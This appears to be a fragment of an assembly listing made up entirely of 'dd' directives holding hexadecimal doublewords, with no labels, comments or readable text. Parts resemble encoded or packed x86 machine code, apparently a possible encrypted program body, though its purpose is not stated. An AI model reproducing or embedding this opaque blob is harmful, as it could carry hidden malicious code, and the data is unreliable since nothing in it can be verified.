		dd 0C4090B70h, 0D72022B6h, 56B248D6h, 312CDC5Eh, 2CDAA6B4h
		dd 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah,	78CE1331h
		dd 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h, 0B13256D5h
		dd 0EAB2D42Dh, 0B1335398h, 0C4B956BAh, 0AFB93055h, 0EA72EC25h
		dd 0EEB953BAh, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh
		dd 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h,	0BEDBAD2Bh
		dd 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh, 1DB659BFh
		dd 313256AEh, 353DB5ACh, 0B1325631h, 0D6C9D7B3h, 29B65909h
		dd 31325675h, 3054A65Dh, 0BEB259A6h, 0B132C72Ah, 41D1D657h
		dd 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h, 0F346EE41h
		dd 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h,	5C69D657h
		dd 0AFB930EFh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h, 41D5D6B0h
		dd 30C9D731h, 0D121226Bh, 0E1A0A980h, 0EC37BBB1h, 0D0CE13FCh
		dd 0B0CE2B39h, 0BB93528h, 0B4D55F27h, 31B0DD07h, 8837BBF0h
		dd 0C36A66E9h, 1488DDBAh, 0E137B160h, 0EAB2D431h, 8D0B53B0h
		dd 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h, 0B133AEAFh
		dd 0BB95675h, 0B4DF0DFAh, 6A3949D6h, 6F0949DAh,	0ECB95922h
		dd 494FD5A7h, 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h, 7101B451h
		dd 0B13296B4h, 0AFB930AEh, 313E2BDCh, 0BB46BD50h, 31C2B555h
		dd 0A7462611h, 0B6F4649Eh, 0B0759153h, 0B132565Dh, 71B19125h
		dd 0B1A5BF52h, 765456ABh, 3B3A59D2h, 0BED1D6F4h, 39B29DF5h
		dd 0F6F557E5h, 0B132565Fh, 32F5DDAEh, 0C8D95097h, 210CD7CDh
		dd 313D2245h, 0BF47C6D4h, 4E4CD713h, 0B346C62Ah, 76B952B6h
		dd 33BF0945h, 0B4DF0DCBh, 23CD00FBh, 0B4DF0D81h, 0BB4696E1h
		dd 3BF9EFEh, 0B4DF0D26h, 3A6446B6h, 23CD0360h, 0B4DF0D07h
		dd 46FC7DF6h, 0CCB1080Ch, 0A1475712h, 0D7981FC5h, 0D7B75902h
		dd 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh, 1A549FDEh
		dd 353DEE8Ch, 73DFD13h,	5A9957FCh, 3A96A55Fh, 0EF6B0D69h
		dd 0B9F09F08h, 5DB903ABh, 0B132BEB5h, 306856EAh, 5C50239Fh
		dd 0B977DDBFh, 0EA7AD4D4h, 78535343h, 0E4325295h, 75B1BA20h
		dd 0B1DA362Dh, 0EB3256EAh, 0D3A4BCF4h, 0F4F55357h, 0B13256A5h
		dd 4D7791AEh, 0B1325657h, 3A549698h, 31B091CBh,	0B037BBB1h
		dd 0D7325675h, 21A2AD3Bh, 4AB25628h, 0B9B65946h, 0F1325656h
		dd 0BEDBAD2Bh, 0B132A851h, 4AB216EAh, 45B6599Eh, 0F13256BAh
		dd 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h, 333156ABh, 0B4D56778h
		dd 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh, 0DB659BEh,	0D73256AEh
		dd 5255ADD6h, 0B188D2A4h, 52B256D5h, 0C1C9D61Ah, 0B187D27Ah
		dd 3A5456BAh, 49D1D643h, 0C58AAD2Eh, 0B40CD610h, 8FB214DFh
		dd 310F22F8h, 89463ED4h, 31B0A935h, 0D737BBE1h,	56B248D6h
		dd 4AB33056h, 9546BED6h, 312CDDCDh, 3054A632h, 0C5F2D711h
		dd 4E673662h, 5C690628h, 0F4BB0B58h, 0CCB13752h, 343D57ABh
		dd 0B1325783h, 0B8BBEC5Eh, 3A62530Dh, 5C69D6F7h, 810E6FBFh
		dd 0A0B05905h, 3A3256AFh, 5627F3EDh, 33B906AEh,	0B4DF0D55h
		dd 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh, 0B4DF0D19h, 0EA76D42Dh
		dd 382653BAh, 0A175DF9Ch, 31B0DD85h, 3A37BBB1h,	386A6669h
		dd 64DB5EE5h, 7632565Dh, 0B130AEEBh, 0B6D95657h, 0B0CA136Ch
		dd 3A3256D5h, 5C691250h, 0F5B0D570h, 0A537BBE1h, 0F6BB61D4h
		dd 0B2CAD5BEh, 33F55A22h, 0B4DF0D2Bh, 0B13256D7h, 49B15301h
		dd 326D2B77h, 0C532AEC7h, 0F7845946h, 0B1B2FFAFh, 0B7475657h
		dd 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh, 0BAD9539Dh, 31A8DDE9h
		dd 3A37BB06h, 186965AAh, 31325657h, 773142DEh, 0B2379656h
		dd 5C69D668h, 0F6BB1E70h, 0BD75DFB2h, 69C500B6h, 69C59085h
		dd 0B23796D4h, 5C69D629h, 0F6BB1ED0h, 0BD75DFE2h, 7101689Eh
		dd 19331030h, 0B21323DDh, 0B3F2D568h, 0B13257ECh, 0C5E95DABh
		dd 81A8DCDCh, 3137BA71h, 72315796h, 383A1133h, 0A5D95A1Ah
		dd 4E178E59h, 9A325657h, 32EAA16Dh, 0F6BB5415h,	0BD75DFE2h
		dd 72FB378Dh, 32DEDDEFh, 5952AA99h, 0B13256AEh,	16D8D70Dh
		dd 3A37BBCFh, 5C69166Fh, 32FB65EFh, 353D564Ah, 0B1325678h
		dd 0C4CD51D6h, 0B947A9A2h, 0B041BE07h, 0B44156ABh, 5A269156h
		dd 4D77DF08h, 4E3E238Ah, 86CD5ECFh, 0B1330AB5h,	26B059AEh
		dd 3A325657h, 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h
		dd 323A22BAh, 0C5325A22h, 93CBDACh, 4ECDA9A8h, 0B1325312h
		dd 5A99A5D5h, 0A14DD529h, 323D2270h, 0C43446C5h, 0F6B9174Ch
		dd 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh
		dd 0C43A094Eh, 0E6B904AFh, 0A1677D59h, 3A2603ADh, 6B195A08h
		dd 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh, 3B315351h
		dd 0B4D5703Ch, 0B222292Dh, 9A735722h, 0B06EDF72h, 4ECDEED4h
		dd 0B48BA915h, 42325675h, 4E64BF11h, 7853A9A2h,	0E432466Ch
		dd 75B1BADCh, 0B1DA3657h, 0EB3256D5h, 0D4A0BC6Bh, 0BB95398h
		dd 0B4DF0DFAh, 8EB19F6Eh, 20B659AEh, 3A325657h,	0BD47A9ACh
		dd 0E13A232Ah, 0B132DE02h, 32372575h, 53D9427Dh, 4ECE13D4h
		dd 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h, 0C3356F16h
		dd 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h, 4E8A58BCh
		dd 8CDA954h, 0B13256D0h
		dd 7AD9FD19h, 0B42229F6h, 0CEB159CEh, 0A047504Dh, 0B575DDEFh
		dd 5A3E09DCh, 0B575DDB6h, 5A3E095Eh, 0B575DDF9h, 9A3E09FEh
		dd 5AB152E5h, 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh
		dd 8CDA92Ah, 0B13256EFh, 36D9FD86h, 0B9F09FDBh,	5DB9035Dh
		dd 0B977DDCEh, 0C33E136Ch, 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h
		dd 0BDF09F14h, 5DB903BAh, 0D1CE92DEh, 0B1325646h, 5BB30C57h
		dd 0B4DF30C3h, 6A019FE6h, 3ACE0B63h, 5C6916CFh,	0B10DD5BFh
		dd 8EB13229h, 32372351h, 40D94290h, 0B1362928h,	0CEB15EA1h
		dd 0B34656E6h, 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh
		dd 0B72229D4h, 3A7347DEh, 0EEB95292h, 3A2FBDE6h, 0EEB95232h
		dd 3A21BDB6h, 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h, 0C43146D4h
		dd 681917D4h, 0B0330A63h, 4ECDA9CDh, 0B137EF45h, 1AC1565Dh
		dd 3A53C145h, 72FBAA12h, 596107FBh, 0B13256D5h,	42D8D7B0h
		dd 3C37BB13h, 5C690E20h, 0B156EE58h, 63DA56AEh,	3A325657h
		dd 5AF36DA0h, 0B57955C1h, 0A64097D1h, 8A221D76h, 5A30247Bh
		dd 5A26BD5Fh, 0F2A8DBBCh, 4E37BBBBh, 3C3ABD78h,	5CDD3F4Fh
		dd 0EAE1A9EFh, 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh, 0D670BC2Fh
		dd 3C5253BAh, 5C690E11h, 0B977DDD0h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 0B4D5512Ch, 0C2283EADh, 4CDFE62h, 0B4D57B7Fh, 0C851D3D0h
		dd 61CD5344h, 35B8DB05h, 0E037BBF0h, 3C68862Ah,	5C69D268h
		dd 0F1855970h, 0E3EADDB6h, 0B2686752h, 8CB0DF6Dh, 0D037B177h
		dd 0E85251C3h, 0
		dd 0B3EA815Ah, 5205ED67h, 203D828Bh, 6DB905E7h,	0F741C64Eh
		dd 39055AE1h, 25000030h, 7FFFFFFFh, 203D8289h, 595A05E7h
		dd 0E85251C3h, 0
		dd 0E3EA815Ah, 8B05ED67h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
		dd 8BC3595Ah, 8DC08BC0h, 0ED5DF485h, 66D0FF05h,	858DC18Bh
		dd 5ED67ACh, 31158589h,	858D05E7h, 5ED67DCh, 0C4D8589h
		dd 0B805E7h, 0B000000h,	47840FC0h, 0C6000000h, 0E707F985h
		dd 0DF685605h, 0FFA9C530h, 0E72DC5B5h, 63858D05h, 0FF05EA79h
		dd 8D8D50D0h, 5E70E31h,	68046A51h, 1000h, 49DB5FFh, 0D0FF05E7h
		dd 49DBD8Bh, 7F0305E7h,	0F8C7813Ch, 0C7000000h,	202447h
		dd 9D8D6000h, 5E70B81h,	0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
		dd 234CF6h, 69358D8Dh, 0F68105EDh, 61B36C3h, 23158D89h
		dd 85C705E7h, 5E708B9h,	5F7Ch, 1571952Bh, 85C705E7h, 5E70C99h
		dd 0
		dd 6820Fh, 0BD090000h, 5E71F81h, 31DDB5FFh, 6A05E7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 51E004C3h, 585FF856h, 6B45EE81h, 0B6006DBh, 0E7229D8Dh
		dd 399D8905h, 6105E70Dh, 32CD95FFh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0CA21C4C3h
		dd 669C3CBBh, 6A556BBAh, 1D95FF00h, 8B05E71Ah, 0D06BEBC0h
		dd 740B0635h, 16D42A0Ah, 729561CEh, 59A0AF99h, 5B846494h
		dd 9890ACDh, 3E3A4A3Ch,	82AC9664h, 0FF854224h, 80D8033Fh
		dd 0A2FB393Dh, 6FB3C05Dh, 3589AE42h, 0B4923275h, 0CC46F76Bh
		dd 0A94C80C1h, 0E245969Fh, 0BB2C5EDEh, 0E2736CCEh, 0A7ABDDCCh
		dd 54DF48E7h, 11E256BBh, 8955782h, 53640142h, 0D79868AEh
		dd 0E3569A99h, 8D8DBD78h, 5ED6ABDh, 810FDE8Bh, 0Bh, 0FEBF0F60h
		dd 860Fh, 89610000h, 0E723158Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 96BB9436h
		dd 0F7E7BA66h, 8B985C7h, 59F805E7h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0CA2E72C3h
		dd 10E9BC92h, 1E000000h, 0DB6B2868h, 0B56CB88Bh, 17E7CC4Ch
		dd 0C7B4C178h, 0E70C9985h, 5, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 312BBDA0h
		dd 0B646113Eh, 0D3B8655Ah, 0FF190052h, 0E708C5B5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 7B91CBEBh, 3A5081D4h, 798501ECh, 0BA05E707h,	32FAA74Bh
		dd 32CD95FFh, 820F05E7h, 0Ah, 81F28B60h, 0FD75D7D9h, 0CE9616Bh
		dd 0E8000000h, 5A2BF0EAh, 0B6225338h, 6A99D39Eh, 1D95FF00h
		dd 8B05E71Ah, 78EBC0h, 6AA8FF98h, 6450EBE1h, 0EF539370h
		dd 0A9F0D8D3h, 1200705Bh, 4C089F7Bh, 0A46C9931h, 460AE877h
		dd 0D5C0AFB9h, 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h
		dd 0E51BF325h, 674B2013h, 0CE5A09BFh, 0D3483B1Dh, 70458C03h
		dd 0CAC5A4CAh, 6C75E7h,	78EFD23Eh, 1FB27A69h, 5923E2E8h
		dd 0FD1F6DC5h, 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh
		dd 0D733D67Dh, 0E81AAB0Ah, 12h,	1A18D7C1h, 0DF1BBD50h
		dd 733AD1C1h, 82996FD0h, 66534F8Fh, 0FD3AE881h,	8B665F59h
		dd 0CDC781DEh, 8B00006Dh, 0E72B459Dh, 1B48BA05h, 0B9660000h
		dd 378B5225h, 5880Fh, 1BB0000h,	81398E75h, 0E3EF13F6h
		dd 0E985897Ch, 8105E70Ah, 0AF6EFCEEh, 81EC8A7Ah, 90E34EF6h
		dd 0D19D8938h, 8905E72Bh, 0CA8B5237h, 4EF8358h,	8E8h, 0EF2C1200h
		dd 9D383432h, 0E13CB9C6h, 4A586200h, 15850Fh, 8D890000h
		dd 5E71C05h, 24E9h, 0D43F3A00h,	9F737795h, 0F5CB6F0h, 881h
		dd 2830F00h, 8B000000h,	0FF88E9CAh, 80CFFFFh, 0FA103253h
		dd 8108EB72h, 1CB0C0h, 0E9000000h, 0AF5h, 0ED6DC668h, 0D92DE905h
		dd 0B968FFFAh, 0E905ED6Eh, 0FFFAD923h, 0ED707F68h, 0D919E905h
		dd 7768FFFAh, 0E905ED71h, 0FFFAD90Fh, 0ED732168h, 0D905E905h
		dd 0DD68FFFAh, 0E905ED74h, 0FFFAD8FBh, 0ED75D568h, 0D8F1E905h
		dd 0FB0EFFFAh, 4CD7D13Ah, 0ADB2B69Fh, 5196F74h,	5FE5C328h
		dd 7D2AA18Ah, 0C22B0004h, 0A48162E6h, 1C79BE4Ch, 0F7DC1114h
		dd 6B87CC9Fh, 0C0351B1Ch, 0B24B93CEh, 5460437Dh, 34C9A7D4h
		dd 8CCFCDFBh, 0EF765ACFh, 0E3794F3Eh, 36C925AEh, 0CB6230F6h
		dd 36B401E0h, 9D30F636h, 0A2FCF552h, 0ACF84B80h, 0F923599Eh
		dd 0F8BCA47Bh, 0B40EBBCh, 36DD4F80h, 0D77E3621h, 35114F67h
		dd 5A12CF51h, 973C798Ch, 35114F5Bh, 661E79F0h, 3B013119h
		dd 47D82C9Fh, 1313DEAh,	7EE56Ch, 0B68A1E74h, 9307EB38h
		dd 3AA78207h, 2A000000h, 0B534FF1Dh, 9B0CDD67h,	8C749B30h
		dd 12DD36DDh, 8373095Ah, 0F25FDE7Bh, 9999CA5Fh,	0FD351148h
		dd 54CE111h, 7E740082h,	0AFDD162Ah, 2D6CD131h, 4D7C2DE5h
		dd 0E5h, 7DB24B14h, 76A7BE8Ah, 0DF65C3D1h, 3E1F6357h, 9FEDD3EDh
		dd 2912AA8Bh, 19297FCEh, 9DE441C1h, 8B92680Ch, 39CC1A52h
		dd 691B577Ch, 0B9B030F6h, 90D9EF5Eh, 56E3CD27h,	0A18869FEh
		dd 0AD7CCFF8h, 0EC7DF1DAh, 1FD630F6h, 0F6EC1856h, 0EFB8B330h
		dd 0F6E982A6h, 64B94C30h, 0DB14291Fh, 24EF0DA1h, 867A3745h
		dd 0C921C927h, 79C08D50h, 3036DD6Fh, 0DD122B61h, 0DF1358A3h
		dd 74351188h, 0F6612CFDh, 64AFCDEDh, 0E282C885h, 0E293307h
		dd 1BD369BFh, 0F8C52C05h, 0E5A77488h, 0D99342A4h, 0BB844F51h
		dd 8D000008h, 5652BB7Ch, 31371CCDh, 98E8F52Eh, 644CA986h
		dd 0AB220BE0h, 0A8819BFEh, 0EE36543h, 0E63FC325h, 5D92AB9Dh
		dd 4D1E70h, 351B1DEAh, 4B143141h, 151378B1h, 586CDF10h
		dd 0D162583Fh, 7F48D119h, 34FF1D62h, 95E9E2B5h,	3E30F670h
		dd 82CB9237h, 36DD8C7Fh, 18AC1FD6h, 9E6D0B30h, 6B099EEFh
		dd 115570E2h, 0A381435h, 94DC77h, 0D1811774h, 300F8C76h
		dd 0B0AF9A0Fh, 32000000h, 0E8E5B24Bh, 30F67092h, 0D79B6339h
		dd 14CC14C6h, 0BC8A220Dh, 9C3973A8h, 30F67394h,	16AC35Ah
		dd 1ECF56A2h, 419EA789h, 0AE658737h, 86ABF6DFh,	360236DDh
		dd 83E8F334h, 0AB1AD1F3h, 0A3788CD8h, 9BE67309h, 8E088EBBh
		dd 6CA1E2A7h, 0C13307D5h, 0BB419716h, 15A1DDF6h, 230A30F8h
		dd 25369D8h, 59095FF3h,	51579009h, 58E1ECBh, 36D99384h
		dd 7C825AEh, 6FF20000h,	0C05BADB6h, 2126026Bh, 798DFBC0h
		dd 0D3695FA4h, 0F1A63D06h, 5EA77488h, 301DD66Ah, 0E8F53230h
		dd 43A88598h, 0DF13B80Bh, 74351B1Eh, 0B14B3F5Ah, 10151378h
		dd 4B99F6DFh, 0E5437DB2h, 0A83C8F60h, 50C06A9Dh, 0FEF7506Eh
		dd 0D468BEDCh, 0D4B8369Fh, 0D81330F6h, 8D7CC7F1h, 0F6D4AAC0h
		dd 0CFD60130h, 0D284577Ch, 0E7F536DDh, 9CAC30B1h, 0FB7F2147h
		dd 48E3AA7Fh, 9A53EA30h, 71AEB7B1h, 0A27F9E47h,	758BBDDBh
		dd 78439CA1h, 18567F40h, 0B3B25762h, 79BE4CB8h,	8865F94Fh
		dd 0B17937F0h, 55D4BB81h, 62B5C982h, 0D71EB257h, 79C67472h
		dd 0DD0E16E4h, 147158A3h, 74C091Ch, 0B25762EBh,	0F68EE940h
		dd 5762EC6Fh, 0BC4A76B2h, 3805DA63h, 9DD1FA4Dh,	13B25762h
		dd 0ED40A31Dh, 73FAEDD9h, 0A27B82D6h, 63D4430Ah, 3800B257h
		dd 0F7283D0Ah, 0B7839AEEh, 0F13A72B3h, 0BF8DDE96h, 0F73048A9h
		dd 0F13A5852h, 4D0E450Eh, 84AF4B83h, 36FD1FBFh,	0A50F1EB7h
		dd 0A5E4E64h, 0B8833DF6h, 0FBB5BCEFh, 0A8AAE352h, 99A9854Dh
		dd 88E44D04h, 3EF3AFCh,	65B30000h, 0DB9801E2h, 6BA17949h
		dd 99621AD3h, 9A4C6E00h, 0D710A881h, 0ED507DCCh, 4C36DD78h
		dd 1C1941B8h, 4B525452h, 0DC9DDD86h, 5F7DB7E2h,	36421594h
		dd 2A3C6C21h, 3DA0B7F5h, 93AEE7A0h, 0DAB23469h,	794F24CEh
		dd 0E6C2C3C2h, 54078061h, 3153E39Dh, 0E9B80BFAh, 0F8798EECh
		dd 9D0A25B1h, 0EEE0D734h, 70F37AB7h, 1DD26BA1h,	374B0063h
		dd 9CB41200h, 8BDD4A55h, 0FECABD72h, 0D011B667h, 7F0B4755h
		dd 0C221C256h, 35EA7345h, 69DB2A93h, 0EC9EB5Eh,	602h, 0EBF03534h
		dd 4855869Dh, 210AE778h, 85EE3FC7h, 7B4099A3h, 3AC2B760h
		dd 9CAC84E1h, 0F80A7E47h, 4BD2D63Fh, 0F2D18992h, 1B00A5D9h
		dd 0C5800E35h, 18567FCEh, 0B330F670h, 6D8FEFB8h
		dd 2074C7A6h, 0C45C21Fh, 36DD7671h, 1ACF54E0h, 9AA37933h
		dd 82AC2B45h, 14DFFD74h, 735D3895h, 65CC333Ah, 3277F682h
		dd 2037202Ah, 0E37A4E67h, 0D02DBB0Ah, 4BAF8DE3h, 0C99AFAAFh
		dd 12E96DF3h, 0FBA74FE5h, 0E5CB5CA7h, 0B9F58F60h, 0A3BA85B5h
		dd 64D614Ah, 0FD79E789h, 2C1h, 34FF1DE4h, 95E9E2B5h, 3E30F670h
		dd 78CB9237h, 0AEC61B2Ch, 9D83C445h, 3636E3DCh,	0E4784C3Fh
		dd 0DF60B437h, 1BBD319Ah, 0DF16351Bh, 0B572F0F4h, 5E9730FBh
		dd 6F19D26Ah, 1B1B75E6h, 5CEC3835h, 8502ED87h, 0D768AAB3h
		dd 0B401621Ah, 0CAE4E436h, 604B529Dh, 978507A0h, 23AC34D3h
		dd 50Ah, 0E3C82D3Ch, 40AD7E85h,	3902DF60h, 9DE637CFh, 735891ABh
		dd 32CAAF18h, 94949CF9h, 0F072765Fh, 43DA2E37h,	0FAC981EAh
		dd 1B019DD1h, 0FD983635h, 0B534FF1Dh, 0E3DC1018h, 42EDBB36h
		dd 7FEC1FC7h, 1DEB85ECh, 0F831CA08h, 371C67C0h,	0EDB60B4h
		dd 71AEB799h, 9E5CE147h, 0CE1C5485h, 0B59CE738h, 8FBF83FBh
		dd 54A5A735h, 3C893CF8h, 6FC0456Bh, 76E96806h, 0E69E73FAh
		dd 0C1000001h, 437DB24Bh, 899260E5h, 0E9DAB40Dh, 0D33A9F3Ah
		dd 575D0A95h, 0EBF2A9F2h, 53D52382h, 8C1DE69Eh,	0A81BD0F2h
		dd 5A12C75Ch, 9A3788Ch,	0FB42C72Eh, 9348DC28h, 1E565D36h
		dd 7CF736DDh, 15156344h, 1EEF0348h, 0ED443511h,	0D24C0582h
		dd 0B635111Eh, 82D6AC5Ah, 99E5A27Bh, 74004FBAh,	4CA9h
		dd 0FF1D3000h, 0EA0DB769h, 6C772C77h, 65FECA9Dh, 906EFCB4h
		dd 0B04ACD2Bh, 9E45634Ah, 75BFC3AAh, 56B9EABFh,	0FF36DD33h
		dd 5D6B3C74h, 373AE267h, 0D0656AD6h, 0FFA5FF38h, 0E0523394h
		dd 8435111Fh, 4C079AA8h, 3B74004Bh, 0BBh, 7DB24B5Eh, 0D75FE543h
		dd 4FD736CAh, 6F1DE69Eh, 0FE06111Bh, 0C1FBC22Dh, 5C95AAFEh
		dd 7A4EDB24h, 94720AE3h, 9FED5C91h, 0F0F15687h,	0F6AEB98Fh
		dd 9EA6F230h, 71F4DC4Dh, 24409DA1h, 0F9D36E8Eh,	0B59EF9E4h
		dd 0BD0CC7E5h, 54859EEAh, 1D76D31Ch, 36E0367Eh,	12E544EFh
		dd 0F9F40A43h, 945F351Fh, 0C2172D33h, 2C3E0AF9h, 3276B1CBh
		dd 0F29AC3C7h, 355F26Ch, 516020F9h, 82DF6E96h, 36069F2h
		dd 0D76A0000h, 2833351Eh, 899EEAF3h, 0E16543A8h, 3BC1270Ch
		dd 59CE85EEh, 260FDC60h, 98E53EC2h, 705D9AA8h, 2B30ED70h
		dd 47BB10B3h, 0EC351B03h, 0B14BA7E2h, 10151378h, 4B99F6DFh
		dd 0FE8A7DB2h, 94AC14F1h, 2B470C4Dh, 8030F6F7h,	0BBD94EA9h
		dd 369FD86Dh, 30F6F7B8h, 94F1D813h, 8063A8CAh, 0DD2690CBh
		dd 0E7B3136h, 1F4153ECh, 0B1876641h, 0F27672AFh, 410C6831h
		dd 3511A5D3h, 0E88065E5h, 38CD0912h, 1EE49CE7h,	15BE0432h
		dd 3511A5D9h, 3A90FB72h, 16CF53A9h, 3634955Eh, 804B6908h
		dd 369F6E21h, 3511A5B8h, 64FD813h, 333A74CFh, 1064C76Eh
		dd 794ADF0Ch, 60B24B64h, 16BF0EDBh, 30F670D8h, 0E791F873h
		dd 4023FC01h, 863EF374h, 2A429FA0h, 21E6C1h, 2C9F5476h
		dd 0DD7D3CA7h, 1A529D36h, 117DC3B3h, 0BB4BA735h, 0B12B26h
		dd 30D874h, 5B510000h, 0F35FC702h, 6956F308h, 8962FACEh
		dd 1B9334FFh, 1AB332F9h, 36DD8CF7h, 70DD975Eh, 35116C06h
		dd 0E5788662h, 74009E6Eh, 0E015h, 0B24B7C00h, 0FFE8A7Dh
		dd 67A552B6h, 4A90E4A5h, 0F94F79B2h, 38F9664h, 42256978h
		dd 417B425Bh, 0A78E67FBh, 3FC6245Ch, 54DC85EEh,	9A30F6E4h
		dd 0E241AA83h, 0F70B4013h, 5C30F6E5h, 0E592E895h, 3E3930F6h
		dd 7CBE4769h, 962E09EEh, 197C4E6h, 2C06345Bh, 4BA72C61h
		dd 0E030F6DBh, 0A1DDF649h, 0A30F6DBh, 6C69D823h, 36DDD425h
		dd 0D603186Ch, 89F4559Eh, 173545AEh, 0D7E13AC1h, 29A2056Ch
		dd 3307BF4Ch, 0A1F776E1h, 3654E9Bh, 5B6020F9h, 98D992FEh
		dd 1A45FF8h, 93960000h,	0E47F4952h, 45DA2E37h, 9DA187ECh
		dd 0F70D7B40h, 1582D922h, 7A4398ACh, 0DC39FA0Eh, 0B49156D4h
		dd 6F74A9BCh, 37F5477h,	0A8351B04h, 0BACE6B26h,	40C599D8h
		dd 5E6AD5EFh, 4ADFD6DFh, 200DDE66h, 9BE03DC0h, 0ACFF1DC6h
		dd 0F670CB27h, 0EEC96030h, 8C2BB61Fh, 0AB8236DDh, 6CCAB411h
		dd 42AE3511h, 9E3221B4h, 0CED17400h, 0B8000000h, 0E8E5B24Bh
		dd 30F67092h, 35CA3E39h, 107BC4FCh, 6EC75B91h, 0F70DDBB9h
		dd 0E3398A22h, 0EE98358h, 7578C899h, 0AFB630F6h, 0A13157Eh
		dd 74EA004Dh, 0A86430F6h, 0DCA7F5F7h, 220D24A7h, 9BC8EA8Ah
		dd 0F666BC32h, 70811730h, 43B22DACh, 0E140ABB2h, 0B4A0E9EBh
		dd 8DF054ADh, 3CFF8DA8h, 0C06B3C52h, 0DDE75C8Bh, 117AF536h
		dd 19E82341h, 78006BCh,	2382AD33h, 0B19A4FD5h, 0E161ADB7h
		dd 5A6B3D04h, 9BD99320h, 0AC5EF9h, 8B9E0000h, 0DC6741AAh
		dd 3DC2260Fh, 95A99FE4h, 0EF757358h, 0DBAD13Ah,	725B9094h
		dd 0D431F276h, 8CE94EDCh, 674CA1A4h, 0FB775C6Fh, 50351B05h
		dd 0B14B633Eh, 10151378h, 0C8E039C2h, 4C3F046Fh, 9C0DEA78h
		dd 7DB24BDFh, 8F60E543h, 6EF1C7A6h, 789A14B5h, 899B30B3h
		dd 3A36E3DCh, 0DF64B033h, 21079D0Ah, 8EFAC31Ch,	0BD0EA677h
		dd 11AD46Fh, 0F58C128h,	4FB94307h, 67C04E58h, 0EFBE01DEh
		dd 46AC88E6h, 9F08232Ch, 12CB5256h, 0A57A8C5Ah,	54E24C0Bh
		dd 50BD728Bh, 9110CD50h, 0AC79F5DEh, 1BD22C46h,	36DF68Eh
		dd 0B4000000h, 0B64B8DCAh, 5CE14771h, 0F13E983h, 0B8489ED6h
		dd 61FB417Bh, 122AF088h, 0C559AFD9h, 758A5068h,	1D2604BCh
		dd 68FEB4CCh, 439Ch, 68243C89h,	406Ah, 68243489h, 591Dh
		dd 68240C89h, 5ED6C45h,	8324348Bh, 8B5404C4h, 0C483240Ch
		dd 418F5604h, 2434FF08h, 4C48359h, 5E2434FFh, 4C481h, 4CE90000h
		dd 0FFFFACEh, 6C0EE197h, 0C9825BB3h, 76A6B8E9h,	0C50305EDh
		dd 7C63E0FFh, 74F64BAFh, 5F041455h, 26E352F3h, 64663C29h
		dd 17BC0455h, 0A5483E81h, 0B1A188Fh, 67206199h,	0D1480FADh
		dd 0F1E483Ah, 2CFF0033h, 489E718Eh, 693A47EBh, 8D2A4851h
		dd 93E46267h, 0D9BC738Ah, 0AB462DFEh, 0C08B134Dh, 0FF055F5Ch
		dd 557D5A0Ah, 55C52ED2h, 61090D11h, 74C03134h, 0D6AF52C8h
		dd 87612397h, 18A4017Bh, 0AF0A0C0Bh, 0EDFA3CA4h, 63840CC0h
		dd 0E4A1407Ah, 13E835BEh, 69000000h, 7724FD40h,	3DD53B68h
		dd 3A28817Ch, 0A89E7D14h, 8B66C083h, 8F0F5FF3h,	13h, 0EE9h
		dd 3042D100h, 870FE1E6h, 0BF770107h, 814E3299h,	726FC7h
		dd 0DE800h, 1B570000h, 1BA34E09h, 90F43875h, 664A2CDFh
		dd 0BA5BF78Bh, 2D0B5A31h, 4650F281h, 78B2D0Bh, 5E95360h
		dd 0A3000000h, 30867A65h, 0CCF2815Eh, 61790CB4h, 745EF081h
		dd 52B91FFAh, 81676FAFh, 3D447F0h, 1F8D0F0Ch, 0E8000000h
		dd 14h,	0C3FC76B9h, 208762CDh, 0E68748BFh, 0D7450D1Eh
		dd 9649183Ch, 3B6C6ABBh, 0E8815B7Ch, 612E947h, 0BE9h, 699B9900h
		dd 0AA0098EBh, 0E5ABABE1h, 0ECBB0789h, 810A648Ah, 404F5EEFh
		dd 5AC78159h, 0E959404Fh, 12h, 93EF93ACh, 98ED1DA0h, 0ED0C7D22h
		dd 0CE3219B1h, 0EA81F385h, 1, 0FF68850Fh, 11E8FFFFh, 41000000h
